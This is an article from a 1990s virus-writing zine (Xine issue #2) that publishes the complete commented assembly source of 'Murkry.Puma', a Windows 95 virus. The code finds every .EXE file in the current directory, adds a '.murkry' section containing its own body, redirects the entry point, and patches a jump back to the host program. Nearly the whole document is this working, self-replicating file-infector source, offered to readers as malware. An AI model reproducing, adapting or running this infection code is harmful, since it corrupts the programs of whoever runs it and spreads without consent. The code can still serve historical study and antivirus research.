
                                        /-----------------------------\
                                        | Xine - issue #2 - Phile 024 |
                                        \-----------------------------/


; This virus was written to use a GetProc address routine that jhb wrote
; it basically does what Bizatch does. It adds a section to the file and has
; the entry point point at it. Hopefully JHB has written a PE file infection
; tutorial with Xine 2. So check that, also check the code for comments I did
; not recomment the GetprocAddress check JHB article on the finaly version
; I just modified it a bit ;).
; Well enjoy this due to the fact that this is a direct action virus and does
; not jump directories I dount it will spread far.  But this just proves that
; anything Ms comes out with someone can infect. (I believe this parphrase
; something from VLAD <sigh> sorry to hear they have passed on)
;
; Simple Win95 virus using a search engine for all routines it might need
; I did not make the Getproc just reworked it a bit to work with my newest
; creation
;**** Beta 1.0
; Murkry.Puma
; Author Murkry
; dec 28 1996
;Features:
; Use get procaddr to get the needed routine API address from kernel32
; Will infect all exe PE files in the directory does not span directories
; Adds .murkry as a section header is used to check for previous infection

;                -14h
;               -10h
;               -0Ch
;holders        -10
;ret_address    -8
;old_bp         -4

;VARIOUS EQU FOR PUMA'S  USE 
MAX_PATH        EQU     0FFH       ;MAX PATH FOR WIN95/NT 
OPEN_EXISTING   EQU     3          ;USED for CreateFile to open existing file
GENERIC_READ    EQU     80000000H  ;OPEN FILE R/W
GENERIC_WRITE   EQU     40000000H  ;USED BY THE CreateFile
FATTR_NORMAL    EQU     0          ;normal file attribute for CreateFile

PE_SIZE         EQU     0F8H       ;size of PE file header
SEC_SIZE        EQU     28H        ;size of a section header
FB_SIZE         EQU     0400H      ;VIRUS file buffer size

;typedef struct _WIN32_FIND_DATA {
;   DWORD dwFileAttributes;                          0
;   FILETIME ftCreationTime;            DD ?,?       4
;   FILETIME ftLastAccessTime;          DD ?,?       C
;   FILETIME ftLastWriteTime;           DD ?,?       14
;   DWORD nFileSizeHigh;                             1C
;   DWORD nFileSizeLow;                              20
;   DWORD dwReserved0;                               24
;   DWORD dwReserved1;                               28
;   CHAR cFileName[MAX_PATH];                        2C
;   CHAR cAlternateFileName[ 0EH ];
;} WIN32_FIND_DATA


;Stack frame definitions:
TEMP            EQU     0               ;temporary storage location
Shandle         EQU     TEMP+4          ;handle for file search functions
FileHand        EQU     Shandle+4       ;handle for file open/read/write/close
IOBYTES         EQU     FileHand+4
FIND_DATA       EQU     IOBYTES+4       ;file search data structure
FILEBUF         EQU     FIND_DATA+11*4+14+MAX_PATH
WORKSP          EQU     FILEBUF + 1024  
;below is one way of dealing with the getprocadd return info
;when it returns it is setup to leave the address routines on the
;stack. PUMA will allocate the space for the above data right after the
;return of GetProcAdd this allows us to access the routines the same way
;we access the data we save on the stack
FindFirst       EQU     WORKSP + 4
FindNext        EQU     FindFirst + 4
Create          EQU     FindNext + 4
lclose          EQU     Create + 4
SetPointer      EQU     lclose + 4
Read            EQU     SetPointer  + 4
Write           EQU     Read + 4

;-------------------------------------------------------------------
.386
locals
jumps
.model flat ,stdcall

;Working version of a get address routine ends stack containing the
;request address of the process in a last in first out
;set to work with KERNEl32.dll and nothing else
;but once you get GetProcAddress, LoadLibrary you can get all
;other dll calls

;Define the needed external func tions and constants here.

extrn           ExitProcess:PROC       ;only kernel32 call not
                                       ;set up with the GetProcAdd
                                       ;used in the dummy host

.data                                        ;the data area
;Tasm5 will not compile with out some data oh well
;fake it out ;)
Waste         dd      4 dup(0)

.code                                   ;executable code starts here

PUMA:
       
                jmp     OverData
LookFor         db      'FindFirstFileA', 0
                db      'FindNextFileA', 0 
                DB      'CreateFileA', 0 
                DB      '_lclose', 0 
                DB      'SetFilePointer', 0   
                DB      'ReadFile',0          
last            DB      'WriteFile', 0        
                db      0Bh
HowMany         equ     7h                      ;How many address'
                                                ;I am requesting
exe             db      '*.EXE',0
OverData:
        PUSHAD
        xchg    edx, eax                        ;eax = eip = our offset

        LEA     ESI,[EDX + OFFSET LookFor - OFFSET PUMA]                      
        mov     eax,HowMany                     ;how many functions
         
         
        call    GetProcAdd                      ;on return the stack wil
                                                ;have addresses in it
                                                 
        PUSH    EBP                             ;this gives us a r/w area
        sub     esp,WORKSP                      ;to work with on the stack
        mov     ebp,esp                         ;amd since our address our
                                                ;on the stack it preserves
                                                ;them for us


        MOV     EDI,EDX                         ;since we used edx
                                                ;to store our offset
                                                ;this just saves use from
                                                ;the call pop sub bit


;FindFirstFileA(ptr file_name, ptr Find data)
;returns in eax the handle of = -1 if no file found
        lea     eax,[ebp + FIND_DATA]                   ;THIS IS A FINDFIRST
        PUSH    EAX                                     ;FILE CALL
                                                        ;FIND ANY FILE THAT
        LEA     EAX,[EDI + OFFSET exe - offset PUMA ]   ;IS A *.EXE
        PUSH    EAX                                     ;
        CALL    DWORD PTR [EBP + FindFirst]             ;
                                                      
        mov     [ebp + Shandle],EAX                     ;
        CMP     EAX,-1                                  ;
        JE      ERROR                                   ;NO FILES FOUND

INFECT: CALL    FoundOne

;FindNextFileA( ptr handle, ptr find data structure)
;returns in eax True = 1, False = 0

        LEA     EAX,[EBP + FIND_DATA]
        PUSH    EAX

        MOV     EAX,[EBP + Shandle]
        PUSH    EAX

        CALL    DWORD PTR[EBP + FindNext]
        or      eax,eax
        jnz     INFECT


ERROR:
        ADD     ESP,FindFirst                   ;restore the stack back to 
        POPAD                                   ;where is was when we got 
                                                ;also restore all regs
HostRet:
        jmp     fini                            ;this is dynamicaly written 
                                                ;when the virus infects host

;====================================================================
FoundOne:
        call    OpenIt                  ;opens the file
        jz      Trouble                 ;problem opening the file

        mov     [ebp + FileHand], eax    ;save file handle

        Call    CheckIt                 ;check if PE and not infected
 
DoneIt:

FopenError:
        push    DWORD PTR [ebp + FileHand]
        CALL    DWORD PTR [EBP + lclose]

Trouble:                        ;file not opened exit here
        ret

;-------------------------------------------------------------------
;simple reads in the first 1024 of the file checks if PE at the location
;specified by the 3ch in the MZ header
;Win95 does not check if for extended exe header at 18h = 40h
;it only checks if 3ch is a pointer to PE
;if this is ok for Win95 why should a virii do more
;

CheckIt:
;File is Opened
        mov     ecx,FB_SIZE
        lea     edx,[ebp + FILEBUF]
        call    FileRead
        jz      ChError

        mov     ax,[ebp + FILEBUF + 3ch]        ;get the loc of the PE header
        cwde

        mov     esi,FILEBUF
        add     esi,eax
        mov     eax,[ebp+esi]
        cmp     ax,'EP'
        je      CheckInfect                     ;ok a PE file infect


ChError:                                        ;file not a PE 
         ret                                    ; 
                                                ; 

;-----------------------------------------------------------------------
;ok We have a PE file now we find if its infected
;and if the header fits in buffer (1k)
CheckInfect:
        
        mov     eax,esi                 
        sub     eax,FILEBUF             
        add     eax,PE_SIZE             ;eax = dos header size
        mov     ebx,eax                 ;SAVE IN EBX

        xor     EAX,EAX                 ;
        mov     ax,[ebp+esi+6]          ;get actaul sector count
        inc     eax                     ;
        mov     ecx,SEC_SIZE            ;
        mul     ecx                     ;
        add     eax,ebx                 ;eax = size of all header info needed

        cmp     eax,FB_SIZE             ;will it fit in FILEBUF
        jnc     TryError                ;nope outa here

        cmp     eax,[ebp+esi+PE_SIZE + 0Ch]      ;will it fit in the file
        jnc     TryError                        ;Size of the Optional header

        xor     eax,eax                         ;# of sections in the file
        mov     ax,[ebp + esi + 6]              ;
        dec     eax                             ;
        mov     ecx,SEC_SIZE                    ;
        mul     ecx                             ;
        add     eax,PE_SIZE                     ;locate the last section 
        mov     ebx,eax                         ;entry
        add     ebx,esi
        cmp     [ebp+ebx],"rum."                ;check it for the name

        jne     InfectIt

TryError:
        ret
 

;-------------------------------------------------------------------
;file is not infected and fits the specs we need go ahead and try it

InfectIt:
        Mov     eax,[ebp+FIND_DATA + 20h]       ;size of the exe

        call    FileSeek                        ;get to the end of the file

        ;this routine is now getting the amount PUMA must
        ;write to the host,counting padding
        ;FILE VIRUS SIZE = VirSize -1 + FileAlignment/FileAlignment

        mov     eax,VirSize - 1                 ;

        mov     ecx,[ebp + esi + 03ch]          ;file alignment

        add     eax,ecx                         ;
        cdq               ;edx = 0

        div     ecx
        mul     ecx

        mov     ecx,eax
        push    eax                             ;save amount to write for
                                                ;section header

        
        lea     edx,[edi + offset PUMA - OFFSET PUMA]

        ; on entry to filewrite eax = #bytes edx where to get the
        ; bytes from
        call    FileWrite
 
;now we have the virus body at the end of the host we need to update the
;header so it gets control

        inc     word ptr [ebp + esi + 6]        ;set and get the new
        xor     eax,eax                         ;section count
        mov     ax,[ebp+esi+6]                  ;

        push    esi edi
                                                

        ;get the location in the file that the new section header must be
        ;writen
        ;Location =  (OldSecCount * Sec_Size)+PeSize
        ; esi+ebp = Pe start on stack

        dec     eax                             ;
        mov     ecx, SEC_SIZE                   ;

        mul     ecx                             ;eax = eax*SEC_SIZE
        add     EAX,PE_SIZE                     ;

        add     eax,esi                         ;eax = proper location
        add     eax,ebp                         ;in stack

        ;now get esi to point to where we have the buffer for the
        ;virus section header
        ;then set edi to eax which is where the header should be on
        ;our buffer in the stack

        mov     esi,edi                         ;esi ->section hdr template
        add     esi, offset SEC_HEADER - offset PUMA

        mov     edi,eax                         ;edi ->new section hdr locati
        mov     ebx,eax                         ;
        rep     movsb                           ;
                                                ;
        pop     edi esi                         ;


;ok we have the blank .murkry header entry
;now we need to fill in the blanks like how big are we
;
        pop     eax                             ;size of RawData from last
                                                ;file write
        mov     [ebx + 10h],eax                 ;ebx refrences the new 
                                                ;section header

;where are we 

        mov     eax,[ebp + FIND_DATA + 20h]   ;old size of EXE file
        mov     [ebx+14h],eax            ;set PtrRawData = old size


 

        mov     eax,[ebx-28h + 10h]  ;get SizeRawData from previous section
        dec     eax                  ;header
        mov     ecx,[ebp + esi + 38h];get SectionAlignment
        add     eax,ecx              ;add eax=SizeRawData-1+SectionAlignment
        xor     edx,edx
        div     ecx
        mul     ecx                  ;size of code in SectionAlignment blocks
        add     eax,[ebx - 28h + 0ch];add in last section's virtual address
        mov     [ebx+0ch],eax        ;and set VirtualAddress for this section

;That's the end of adding the new section header. Now we must modify a few
;fields in the PE header itself.

        xchg    eax,[ebp+esi+28h]     ;set up new entry point
        mov     [ebp+TEMP],eax        ;save old entry point here

        mov     eax,[ebx+ 0ch ]       ;get SizeOfRawData from new section hdr
        add     [ebp+esi+ 1ch ],eax   ;update SizeOfCode in PE header

        mov     eax,[ebx + 10h ]      ;get SizeRawData from viral section hdr
        dec     eax
        add     eax,ecx               ;add eax=SizeRawData-1+SectionAlignment
        xor     edx,edx
        div     ecx
        mul     ecx                   ;size of code in SectionAlignment blocks
        add     [ebp + esi + 50h ],eax  ;update SizeOfImage

;Now the header is completely set up and ready to go. The next step is to save
;it to disk.

        mov     eax,esi
        sub     eax,FILEBUF             ;eax = offset of PE header in file
        call    FileSeek                ;seek  

        xor     ecx,ecx
        mov     cx,[ebp+esi+6]          ;# of section headers to ecx
        mov     eax,SEC_SIZE            ;size of section header
        mul     ecx                     ;size of section headers
        mov     ecx,PE_SIZE             ;size of PE header
        add     ecx,eax                 ;ecx=amount to write
        lea     edx,[ebp+esi]           ;address to write from

        call    FileWrite               ;update PE header


;ok we just need to update the return entry point so the host can
;have control

        mov     eax,[ebp+FIND_DATA+20H]  ;get old file size  murk
        add     eax,OFFSET HostRet - OFFSET PUMA + 1

        call    FileSeek                ;seek to proper location in file

        mov     eax,[ebp+esi+40]        ;get new entry point
        add     eax,OFFSET HostRet - OFFSET PUMA + 5     ;RVA to jump from
        sub     [ebp+TEMP],eax          ;subtract from destination address

        mov     ecx,4                   ;now adjust jump address in host
        lea     edx,[ebp+TEMP]
        call    FileWrite                ;write it to file
        jmp     DoneIt                   ;and exit infect routine



 
;-------------------------------------------------------------------
;SetFilePointer( handle, dword number of bytes to move it, pointer to the high
; order bits of the move, flag of where we should start the move from)
;settings are FILE_BEGIN   = 0
;             FILE_CURRENT = 1
;             FILE_END     = 2
;returns in EAX the the new 32 bits of the file pointer
;if the pointer is pointing to a non null then this is the high order of the
;new value

;ALSO if the distance to move is a negative number you can move backwards



FileSeek:
        push    LARGE 0                         ;from where do we seek
        push    LARGE 0                         ;high dword of where we
        push    eax                             ;search to low dword
        push    dword ptr [ebp + FileHand]
        call    dword ptr [EBP + SetPointer]
        ret

;-------------------------------------------------------------------
;
;WriteFile(handle, lp buffer of where data is, number of bytes,
; overlapp structure(set it to zero and forget it))

FileWrite:
        push    LARGE 0                         ;needed to set to null (0)
                                                ;for our needs

        LEA     eax,[ebp + IOBYTES]             ;this will hold how many
        push    eax                             ;bytes actualy written

        push    ecx                             ;how many bytes
        push    edx                             ;buffer to read data from

        push    dword ptr [ebp + FileHand]       ;file handle
        call    dword ptr [ebp + Write]          ;call the Read api

                                                ;if no prob then eax = true 1
                                                ;else set to 0 for false
        or      eax,eax                         ;set z if problem
        ret                                     ;
;-------------------------------------------------------------------
;same as filewrite figure it out ;)

FileRead:
        push    LARGE 0

        lea     eax,[ebp +IOBYTES]
        push    eax

        push    ecx

        push    edx

        push    dword ptr [ebp + FileHand]
        call    dword ptr [ebp + Read]

        or      eax,eax                 ;if problem set z
        ret

;-------------------------------------------------------------------
;Ok we use CreateFile here cause thats what VLad did =) !!
;CreateFile(lp to a name,dword access rights, dword share,
; dword Security attributes, dword create dword attrandflags,
; handle to something ;) )
; lucky for us we can set most to zero and it still works
;
; well thats it for my commets
;Murk
OpenIt:

        xor     eax,eax 

        push    eax     

        push    eax

        push    LARGE OPEN_EXISTING

        PUSH    eax
        push    eax

        push    LARGE GENERIC_READ or GENERIC_WRITE

        lea     eax,[ebp+FIND_DATA +02ch]       ;location of file name
        push    eax                             ;in the win95 finddata
                                                ;structure
        call    dword ptr[ebp + Create]
        cmp     eax,-1                          ;if -1 no good
        ret

;-------------------------------------------------------------------

Code_Sec        equ     00000020h
Executable      Equ     20000000h
Readable        equ     40000000h        
;data                                                           H   D
SEC_HEADER      db      ".murkry",0     ;                       0   0
                dd      VirSize         ;                       8   8
                dd      0               ;Virtual size           c   12
                dd      0               ;Virtual Address        10  16
                dd      0               ;SizeRawData            14  20
                dd      0               ;PtrRawData             18  24
                dd      0               ;PtrRelocs              1c  28
                dd      0               ;PtrLineNos             20  32
                dd      0               ;NumRelocs              24  36
                dd      0               ;NumLineNos             28  40
                dd      Code_Sec or Executable or Readable ;     2c  44

;-------------------------------------------------------------------
; While jhb wrote the code for below and more or less got is to work
; I played with it and with his help got a Virri working with it
; yea it has some hard code with it and will fail horrible with NT
;and I suspect any win95 version that moves the kernel form bff7000h
;but I somehow dount that
; well thats it for my commets
;Murk

 
;===========================================================================
Export_rva      equ     0
kern1           equ     Export_rva + 4 
baseF           equ     kern1 + 4 
AddFunc         equ     baseF + 4
AddName         equ     AddFunc + 4
Nindex          equ     AddName + 4 
AddOrd          equ     Nindex + 4
limit           equ     AddOrd + 4        
Where           equ     limit + 4
Looking         equ     Where + 4
worksp          equ     Looking + 4
;all above used by the GetProcAdd
;
;-------------------------------------------------------------------



GetProcAdd:
;esi = the list of address's   delimited by Zero end in 0Bh ;Looking
;edi = the space we will put it on the stack 
;edx = offset of program

        pop     ebx

        shl     eax,2
        sub     esp,eax  
        mov     edi, esp

        push    ebx

        push    ebp
        sub     esp,worksp
        mov     ebp,esp
         

        mov     [ebp +  Where],edi              ;save where will store them 
        mov     [ebp + Looking],esi             ;save which ones looking fo

        mov     esi,dword ptr [edx + offset kern - offset PUMA ]

        lodsw
        cmp     ax,'ZM'                ;we assume Bff70000h for location
        jne     Not95                  ;of the Kernel

        xor     eax,eax
        add     esi,3Ah
        lodsw

        mov     esi,dword ptr [edx + offset kern - offset PUMA ]
        add     esi,eax                ;if this is not true get out
        lodsd

        cmp     ax,'EP'                ;same thing if this is not true
        jne     Not95                  ;something is wrong

;found the PE header
;        sub     esi,4           ;back up si to the PE header

        mov     [ebp + kern1],eSI

        add     esi,74h         ;should be 78h but the last lodsw
        lodsd                   ;should be rva to the .edata

        mov     ebx, dword ptr [edx + offset kern - offset PUMA ]

        add     eax,ebx                 ;should be the .edata area
                                        ;offset to the to name of dll
        add     eax,10h                 ;
        mov     esi,eax                 ;get us to the base
                                        ;
        lodsd
        mov     [ebp + baseF],eax       ;this is the starting ordinal that
                                        ;that all must be added to
                                        ;usualy 1 for kernel32

        lodsd                           ;total number of exported functions
                                        ;by name and ordinal

        lodsd
        mov     [ebp + limit],eax       ;how many functions are exported
                                        ;by name this is the limit of how many
                                        ;we will search for        

;the next three are all RVA's to the
;fields so we need to add the offset
;them
        lodsd                           ;this is the address to
        add     eax,dword ptr [edx + offset kern - offset PUMA ]    
	                                ;an array of pointers to the
        mov     [ebp + AddFunc],eax     ;entry point rva's of each 

        lodsd                           ;this is the RVA to ascii names
        add     eax,dword ptr [edx + offset kern - offset PUMA ]    
	mov     [ebp + AddName],eax     ;of each named exported function

        lodsd                           ; rva points to  array of words 
        add     eax,dword ptr [edx + offset kern - offset PUMA ]    
        mov     [ebp + AddOrd],eax ; which are the export ordinals- the base

;ok we have everthing we need to go ahead and locate the address's of the
;KERNEL32.dll functions

        mov     ebx,[ebp + Looking]     ;get address of the first name


LookLoop:
        mov     esi,[ebp + AddName]     ;get the first rva pointer to a name
        mov     [ebp + Nindex],esi      ;

        mov     edi,[esi]               ;now make it a true pointer to the
        add     edi,[edx + offset kern - offset PUMA ] 
	                                ;name by adding the offset

        mov     ecx,0                   ;sets the counter to 0
 

TryAgain:
        mov     esi,ebx                 ;what function we are looking for
                                        ;now simple cmp strs
MatchByte:
        cmpsb
        jne      NextOne                ;not it try next nameof fucntion

        cmp     byte ptr [edi],0        ;if equal to 0 we found a match
        je      GotIt                   ;

        jmp     MatchByte               ;nope try next byte

NextOne:
       inc      cx
       cmp      cx,[ebp + limit]
       jge      not_found

       add      dword ptr [ebp + Nindex],4      ;get the next pointer rva
       mov      esi,[ebp + Nindex]              ;and try again
       mov      edi,[esi]                       ;
       add      edi,[edx + offset kern - offset PUMA ]
       jmp       TryAgain                       ;

;---------------------------------------------------------------------
GotIt:
;note if not a match is found the all other from then on in are blank
;in other words dont mispell ,or ask for for a function that is not in
; KERNEL32
;esi = the 0 at the end of the name of the strings given to us to look for
;
;cx = the index into the AddOrd
;take Nindex * 4 + [AddOrd] = Ordinal
;Ordinal * 4 + [AddFunc] should be the rva to the fuction

        mov     ebx,esi         ;get set for next search routine
        inc     ebx             ;

        shl     ecx,1           ;*2 looking into a word array
        mov     Esi,[ebp + AddOrd]
        add     Esi,ecx
        xor     eax,eax
        mov     ax,word ptr [esi]

;here ax equals the ordinal - the base
;if ordinal is passed to hear then we should be able to skip
;searching for a name and hit here
;not sure of course but it tested on a few that I tried
;

        shl     eax,2                ;*4 looking into a dword array
        mov     esi,[ebp + AddFunc]
        add     Esi,eax

        mov     Edi,dword ptr [esi]
        add     Edi,[edx + offset kern - offset PUMA ]

        push    ebp

        mov     esi, [ebp + Where]
        mov     ebp,esi
        mov     [ebp ],edi

        pop     ebp
        add     dword ptr [ebp + Where],4

        cmp     byte ptr [ebx],0bh
        jne     LookLoop

        jmp     over_error
        
Not95:
        xor     esi,esi                 ;if the header of the kernel
                                        ;is not there forget it, its not
                                        ; the Win95 we know and love ;)        

not_found:                              ; String pass to us is not a 
        xor     edi,edi                 ; valid fucntion name

over_error:
                
        ADD     ESP,worksp
        pop     ebp

        ret

;YEA HARD CODED <SIGH>

kern            dd      0BFF70000h      ;must add to all rva's

;----------------------------------------------------------------------------

VirSize         equ     $ - PUMA


fini:           ;left over from a Teacher who use to teach me C++

        push    LARGE -1
        ;call    dword ptr edi          ;when I used the routine to locate
                                        ;the ExitProcess address
        call    ExitProcess             ;this simply terminates the program

         end     PUMA


